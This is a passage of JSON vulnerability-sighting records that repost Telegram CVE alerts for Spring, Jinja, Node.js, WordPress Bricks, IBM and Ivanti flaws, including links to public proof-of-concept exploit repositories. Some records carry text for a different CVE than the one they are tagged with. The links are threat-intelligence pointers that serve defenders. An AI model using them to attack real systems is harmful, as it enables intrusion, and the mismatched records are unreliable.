https://security.netapp.com/advisory/ntap-20240524-0003\n5. https://spring.io/security/cve-2024-22262", "creation_timestamp": "2025-02-13T19:21:07.000000Z"}, {"uuid": "949031c6-5d3e-45e4-bf03-4a4f17b60075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22259", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4331", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22262\n\ud83d\udd25 CVSS Score: 8.0 (CVSS_V3)\n\ud83d\udd39 Description: Applications that use UriComponentsBuilder\u00a0to parse an externally provided URL (e.g. through a query parameter) AND\u00a0perform validation checks on the host of the parsed URL may be vulnerable to a  open redirect https://cwe.mitre.org/data/definitions/601.html \u00a0attack or to a SSRF attack if the URL is used after passing validation checks.\n\nThis is the same as  CVE-2024-22259 https://spring.io/security/cve-2024-22259 \u00a0and  CVE-2024-22243 https://spring.io/security/cve-2024-22243 , but with different input.\n\ud83d\udccf Published: 2024-04-16T06:30:28Z\n\ud83d\udccf Modified: 2025-02-13T19:00:56Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-22262\n2. https://github.com/spring-projects/spring-framework\n3. https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/util/UriComponentsBuilder.java\n4. https://security.netapp.com/advisory/ntap-20240524-0003\n5. https://spring.io/security/cve-2024-22262", "creation_timestamp": "2025-02-13T19:21:07.000000Z"}, {"uuid": "907c1d1b-ee56-4361-83fa-b62c6ffff6f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4331", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22262\n\ud83d\udd25 CVSS Score: 8.0 (CVSS_V3)\n\ud83d\udd39 Description: Applications that use UriComponentsBuilder\u00a0to parse an externally provided URL (e.g. through a query parameter) AND\u00a0perform validation checks on the host of the parsed URL may be vulnerable to a  open redirect https://cwe.mitre.org/data/definitions/601.html \u00a0attack or to a SSRF attack if the URL is used after passing validation checks.\n\nThis is the same as  CVE-2024-22259 https://spring.io/security/cve-2024-22259 \u00a0and  CVE-2024-22243 https://spring.io/security/cve-2024-22243 , but with different input.\n\ud83d\udccf Published: 2024-04-16T06:30:28Z\n\ud83d\udccf Modified: 2025-02-13T19:00:56Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-22262\n2. https://github.com/spring-projects/spring-framework\n3. https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/util/UriComponentsBuilder.java\n4. https://security.netapp.com/advisory/ntap-20240524-0003\n5. https://spring.io/security/cve-2024-22262", "creation_timestamp": "2025-02-13T19:21:07.000000Z"}, {"uuid": "da776226-29a4-438c-bed7-437fdd4647d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2202", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4273", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-2202\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2024-03-23T03:15:12.523\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/browser/siteorigin-panels/trunk/widgets/widgets.php#L911\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3053935%40siteorigin-panels&new=3053935%40siteorigin-panels&sfp_email=&sfph_mail=#file31\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/52116a6f-506f-4eeb-9bcc-19900ef38101?source=cve\n4. https://plugins.trac.wordpress.org/browser/siteorigin-panels/trunk/widgets/widgets.php#L911\n5. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3053935%40siteorigin-panels&new=3053935%40siteorigin-panels&sfp_email=&sfph_mail=#file31\n6. https://www.wordfence.com/threat-intel/vulnerabilities/id/52116a6f-506f-4eeb-9bcc-19900ef38101?source=cve", "creation_timestamp": "2025-02-13T17:10:30.000000Z"}, {"uuid": "aecdb880-7822-46bd-a569-27c122f8bda8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22257", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4313", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22257\n\ud83d\udd25 CVSS Score: 8.1 (CVSS_V3)\n\ud83d\udd39 Description: In Spring Security, versions 5.7.x prior to 5.7.12, 5.8.x prior to 5.8.11, versions 6.0.x prior to 6.0.9, versions 6.1.x prior to 6.1.8, versions 6.2.x prior to 6.2.3, an application is possible vulnerable to broken access control when it directly uses the AuthenticatedVoter#vote passing a null Authentication parameter.\n\nSpecifically, an application is vulnerable if:\n\nThe application uses AuthenticatedVoter directly and a null authentication parameter is passed to it resulting in an erroneous true return value.\n\nAn application is not vulnerable if any of the following is true:\n\n* The application does not use AuthenticatedVoter#vote directly.\n* The application does not pass null to AuthenticatedVoter#vote.\n\nNote that AuthenticatedVoter is deprecated since 5.8, use implementations of AuthorizationManager as a replacement.\n\ud83d\udccf Published: 2024-03-18T15:30:51Z\n\ud83d\udccf Modified: 2025-02-13T19:05:40Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-22257\n2. https://github.com/spring-projects/spring-security/commit/5a7f12f1a9fdb4edaab6f61495f1d781a7273b61\n3. https://github.com/spring-projects/spring-security\n4. https://security.netapp.com/advisory/ntap-20240419-0005\n5. https://spring.io/security/cve-2024-22257", "creation_timestamp": "2025-02-13T19:16:36.000000Z"}, {"uuid": "355b7775-d900-4f99-8b7c-9f108c8391a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22259", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4312", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22259\n\ud83d\udd25 CVSS Score: 8.0 (CVSS_V3)\n\ud83d\udd39 Description: Applications that use UriComponentsBuilder in Spring Framework\u00a0to parse an externally provided URL (e.g. through a query parameter) AND\u00a0perform validation checks on the host of the parsed URL may be vulnerable to a  open redirect https://cwe.mitre.org/data/definitions/601.html \u00a0attack or to a SSRF attack if the URL is used after passing validation checks.\n\nThis is the same as  CVE-2024-22243 https://spring.io/security/cve-2024-22243, but with different input.\n\ud83d\udccf Published: 2024-03-16T06:30:27Z\n\ud83d\udccf Modified: 2025-02-13T19:05:43Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-22259\n2. https://github.com/spring-projects/spring-framework/commit/297cbae2990e1413537c55845a7e0ea0ffd9f9bb\n3. https://github.com/spring-projects/spring-framework/commit/381f790329a48b74c2a49fc1384dd68ca9153501\n4. https://github.com/spring-projects/spring-framework/commit/f2fd2f12269c6a781c5b2c20b3c24141055a3d68\n5. https://github.com/spring-projects/spring-framework\n6. https://security.netapp.com/advisory/ntap-20240524-0002\n7. https://spring.io/security/cve-2024-22259", "creation_timestamp": "2025-02-13T19:16:31.000000Z"}, {"uuid": "4f27bc69-6df3-4cdb-b58c-6ed840172b7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4312", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22259\n\ud83d\udd25 CVSS Score: 8.0 (CVSS_V3)\n\ud83d\udd39 Description: Applications that use UriComponentsBuilder in Spring Framework\u00a0to parse an externally provided URL (e.g. through a query parameter) AND\u00a0perform validation checks on the host of the parsed URL may be vulnerable to a  open redirect https://cwe.mitre.org/data/definitions/601.html \u00a0attack or to a SSRF attack if the URL is used after passing validation checks.\n\nThis is the same as  CVE-2024-22243 https://spring.io/security/cve-2024-22243, but with different input.\n\ud83d\udccf Published: 2024-03-16T06:30:27Z\n\ud83d\udccf Modified: 2025-02-13T19:05:43Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-22259\n2. https://github.com/spring-projects/spring-framework/commit/297cbae2990e1413537c55845a7e0ea0ffd9f9bb\n3. https://github.com/spring-projects/spring-framework/commit/381f790329a48b74c2a49fc1384dd68ca9153501\n4. https://github.com/spring-projects/spring-framework/commit/f2fd2f12269c6a781c5b2c20b3c24141055a3d68\n5. https://github.com/spring-projects/spring-framework\n6. https://security.netapp.com/advisory/ntap-20240524-0002\n7. https://spring.io/security/cve-2024-22259", "creation_timestamp": "2025-02-13T19:16:31.000000Z"}, {"uuid": "3b5c350f-ef93-43d9-b5d3-532a91b6d45d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22195", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4342", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22195\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.\n\ud83d\udccf Published: 2024-01-11T15:20:48Z\n\ud83d\udccf Modified: 2025-02-13T19:31:33Z\n\ud83d\udd17 References:\n1. https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95\n2. https://nvd.nist.gov/vuln/detail/CVE-2024-22195\n3. https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7\n4. https://github.com/pallets/jinja\n5. https://github.com/pallets/jinja/releases/tag/3.1.3\n6. https://lists.debian.org/debian-lts-announce/2024/01/msg00010.html\n7. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5XCWZD464AJJJUBOO7CMPXQ4ROBC6JX2\n8. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DELCVUUYX75I5K4Q5WMJG4MUZJA6VAIP\n9. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O7YWRBX6JQCWC2XXCTZ55C7DPMGICCN3", "creation_timestamp": "2025-02-13T20:15:37.000000Z"}, {"uuid": "c9371922-9028-4578-a36e-8c85b39debb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22341", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5001", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22341\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: IBM Watson Query on Cloud Pak for Data 4.0.0 through 4.0.9, 4.5.0 through 4.5.3, 4.6.0 through 4.6.6, 4.7.0 through 4.7.4, and 4.8.0 through 4.8.7 could allow unauthorized data access from a remote data source object due to improper privilege management.\n\ud83d\udccf Published: 2025-02-22T00:38:24.208Z\n\ud83d\udccf Modified: 2025-02-22T00:38:24.208Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7183851", "creation_timestamp": "2025-02-22T01:19:22.000000Z"}, {"uuid": "85bf21cc-3579-4248-a6db-5b6354ad1ac9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2240", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4432", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-2240\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-14T05:15:11.550\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25401", "creation_timestamp": "2025-02-14T07:12:20.000000Z"}, {"uuid": "306ca8fd-0361-4958-b178-950ba766613f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22774", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4931", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22774\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in Panoramic Corporation Digital Imaging Software v.9.1.2.7600 allows a local attacker to escalate privileges via the ccsservice.exe component.\n\ud83d\udccf Published: 2024-05-13T19:39:15.881Z\n\ud83d\udccf Modified: 2025-02-21T16:57:26.998Z\n\ud83d\udd17 References:\n1. https://pancorp.com/software/files/PANCORP_DENTAL_IMAGING_9.1.2.7600.exe\n2. https://pancorp.com/index.html\n3. https://pancorp.com/pdf/Panoramic-Dental-Imaging-%28GLAN%29-Windows-10x64-Setup-Rev3.pdf\n4. https://github.com/Gray-0men/CVE-2024-22774\n5. https://blueteamalpha.com/blog/new-vulnerability-discovered-in-panoramic-x-ray-software/", "creation_timestamp": "2025-02-21T17:18:29.000000Z"}, {"uuid": "08257174-3c5a-4926-9b08-6cbe16c23b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2297", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5653", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-2297\n\ud83d\udd25 CVSS Score: 7.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Bricks theme for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.9.6.1. This is due to insufficient validation checks placed on the create_autosave AJAX function. This makes it possible for authenticated attackers, with contributor-level access and above, to execute arbitrary PHP code with elevated (administrator-level) privileges. NOTE: Successful exploitation requires (1) the Bricks Builder to be enabled for posts (2) Builder access to be enabled for contributor-level users, and (3) \"Code Execution\" to be enabled for administrator-level users within the theme's settings.\n\ud83d\udccf Published: 2025-02-27T05:23:05.572Z\n\ud83d\udccf Modified: 2025-02-27T05:23:05.572Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/cb075e85-75fc-4008-8270-4d1064ace29e?source=cve\n2. https://bricksbuilder.io/release/bricks-1-9-7/", "creation_timestamp": "2025-02-27T06:24:53.000000Z"}, {"uuid": "d08e68cb-e22a-4178-aadb-91786360a919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22360", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5780", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22360\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 is vulnerable to a denial of service with a specially crafted query on certain columnar tables.  IBM X-Force ID:  280905.\n\ud83d\udccf Published: 2024-04-03T12:32:21.341Z\n\ud83d\udccf Modified: 2025-02-27T20:10:04.609Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7145730\n2. https://https://exchange.xforce.ibmcloud.com/vulnerabilities/280905\n3. https://security.netapp.com/advisory/ntap-20240517-0003/", "creation_timestamp": "2025-02-27T20:25:40.000000Z"}, {"uuid": "9664e8bd-7769-4ae8-9a76-01affce4ce9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22393", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7281", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExploit CVE-2024-22393\nURL\uff1ahttps://github.com/omranisecurity/CVE-2024-22393\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-12T07:43:02.000000Z"}, {"uuid": "911db98f-62df-4cfb-b2ad-1434ee7745e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7346", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aTime Based SQL Injection in Zabbix Server Audit Log --> RCE\nURL\uff1ahttps://github.com/W01fh4cker/CVE-2024-22120-RCE\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-05-20T03:46:22.000000Z"}, {"uuid": "a7f91d38-52c5-4e57-a102-ec834066fe17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7352", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aExample exploitable scenarios for CVE-2024-22243 affecting the Spring framework (open redirect & SSRF).\nURL\uff1ahttps://github.com/SeanPesce/CVE-2024-22243\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-20T13:16:30.000000Z"}, {"uuid": "0cfcba3d-9509-480f-916c-337d2fc78640", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22020", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14197", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22020\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:H)\n\ud83d\udd39 Description: A security flaw in Node.js  allows a bypass of network import restrictions.\nBy embedding non-network imports in data URLs, an attacker can execute arbitrary code, compromising system security.\nVerified on various platforms, the vulnerability is mitigated by forbidding data URLs in network imports.\nExploiting this flaw can violate network import security, posing a risk to developers and servers.\n\ud83d\udccf Published: 2024-07-09T01:07:28.098Z\n\ud83d\udccf Modified: 2025-04-30T22:25:20.702Z\n\ud83d\udd17 References:\n1. https://hackerone.com/reports/2092749\n2. http://www.openwall.com/lists/oss-security/2024/07/11/6\n3. http://www.openwall.com/lists/oss-security/2024/07/19/3", "creation_timestamp": "2025-04-30T23:14:39.000000Z"}, {"uuid": "25562d73-4cd6-4501-8432-7d1225bfd19f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22340", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7077", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22340\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: IBM Common Cryptographic Architecture 7.0.0 through 7.5.51 \n\n\n\ncould allow a remote attacker to obtain sensitive information during the creation of ECDSA signatures to perform a timing-based attack.\n\ud83d\udccf Published: 2025-03-11T00:50:55.148Z\n\ud83d\udccf Modified: 2025-03-11T00:50:55.148Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7185282", "creation_timestamp": "2025-03-11T01:41:13.000000Z"}, {"uuid": "93201951-0971-49df-a54b-318f3f15ec1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22018", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14198", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22018\n\ud83d\udd25 CVSS Score: 2.9 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\ud83d\udd39 Description: A vulnerability has been identified in Node.js, affecting users of the experimental permission model when the --allow-fs-read flag is used.\nThis flaw arises from an inadequate permission model that fails to restrict file stats through the fs.lstat API. As a result, malicious actors can retrieve stats from files that they do not have explicit read access to.\nThis vulnerability affects all users using the experimental permission model in Node.js 20 and Node.js 21.\nPlease note that at the time this CVE was issued, the permission model is an experimental feature of Node.js.\n\ud83d\udccf Published: 2024-07-10T01:00:12.747Z\n\ud83d\udccf Modified: 2025-04-30T22:25:19.795Z\n\ud83d\udd17 References:\n1. https://hackerone.com/reports/2145862\n2. http://www.openwall.com/lists/oss-security/2024/07/11/6\n3. http://www.openwall.com/lists/oss-security/2024/07/19/3", "creation_timestamp": "2025-04-30T23:14:39.000000Z"}, {"uuid": "99508dab-4b04-4593-92d0-2ac3771d7fb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14205", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22019\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A vulnerability in Node.js HTTP servers allows an attacker to send a specially crafted HTTP request with chunked encoding, leading to resource exhaustion and denial of service (DoS). The server reads an unbounded number of bytes from a single connection, exploiting the lack of limitations on chunk extension bytes. The issue can cause CPU and network bandwidth exhaustion, bypassing standard safeguards like timeouts and body size limits.\n\ud83d\udccf Published: 2024-02-20T01:31:08.092Z\n\ud83d\udccf Modified: 2025-04-30T22:25:12.463Z\n\ud83d\udd17 References:\n1. https://hackerone.com/reports/2233486\n2. https://security.netapp.com/advisory/ntap-20240315-0004/\n3. http://www.openwall.com/lists/oss-security/2024/03/11/1", "creation_timestamp": "2025-04-30T23:14:52.000000Z"}, {"uuid": "82ea0f4a-aa3d-4cf6-a06d-e1284de96bce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22277", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7424", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22277\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: VMware Cloud Director Availability contains an HTML injection vulnerability. \nA\n malicious actor with network access to VMware Cloud Director \nAvailability can craft malicious HTML tags to execute within replication\n tasks.\n\ud83d\udccf Published: 2024-07-04T13:21:17.247Z\n\ud83d\udccf Modified: 2025-03-13T16:31:39.671Z\n\ud83d\udd17 References:\n1. https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24557", "creation_timestamp": "2025-03-13T16:45:17.000000Z"}, {"uuid": "b8578fdd-d347-45eb-ab4e-3ee9e9b1ba42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22058", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7787", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22058\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A buffer overflow allows a low privilege user on the local machine that has the EPM Agent installed to execute arbitrary code with elevated permissions in Ivanti EPM 2021.1 and older.\n\ud83d\udccf Published: 2024-05-31T17:38:31.334Z\n\ud83d\udccf Modified: 2025-03-17T15:41:54.663Z\n\ud83d\udd17 References:\n1. https://forums.ivanti.com/s/article/CVE-2024-22058-Privilege-Escalation-for-Ivanti-Endpoint-Manager-EPM", "creation_timestamp": "2025-03-17T15:46:59.000000Z"}, {"uuid": "1d55e41c-3570-498f-924e-d2995a68dca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22017", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14203", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22017\n\ud83d\udd25 CVSS Score: 7.3 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:L)\n\ud83d\udd39 Description: setuid() does not affect libuv's internal io_uring operations if initialized before the call to setuid().\nThis allows the process to perform privileged operations despite presumably having dropped such privileges through a call to setuid().\nThis vulnerability affects all users using version greater or equal than Node.js 18.18.0, Node.js 20.4.0 and Node.js 21.\n\ud83d\udccf Published: 2024-03-19T04:32:34.137Z\n\ud83d\udccf Modified: 2025-04-30T22:25:14.211Z\n\ud83d\udd17 References:\n1. https://hackerone.com/reports/2170226\n2. http://www.openwall.com/lists/oss-security/2024/03/11/1\n3. https://security.netapp.com/advisory/ntap-20240517-0007/", "creation_timestamp": "2025-04-30T23:14:47.000000Z"}, {"uuid": "8e144bf8-915c-41d3-854a-6341007968e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22025", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/14202", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22025\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A vulnerability in Node.js has been identified, allowing for a Denial of Service (DoS) attack through resource exhaustion when using the fetch() function to retrieve content from an untrusted URL.\nThe vulnerability stems from the fact that the fetch() function in Node.js always decodes Brotli, making it possible for an attacker to cause resource exhaustion when fetching content from an untrusted URL.\nAn attacker controlling the URL passed into fetch() can exploit this vulnerability to exhaust memory, potentially leading to process termination, depending on the system configuration.\n\ud83d\udccf Published: 2024-03-19T04:32:34.211Z\n\ud83d\udccf Modified: 2025-04-30T22:25:15.085Z\n\ud83d\udd17 References:\n1. https://hackerone.com/reports/2284065\n2. https://lists.debian.org/debian-lts-announce/2024/03/msg00029.html\n3. https://security.netapp.com/advisory/ntap-20240517-0008/", "creation_timestamp": "2025-04-30T23:14:46.000000Z"}, {"uuid": "995b68f2-4c6a-4463-b494-c50d8079aac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22102", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7969", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber 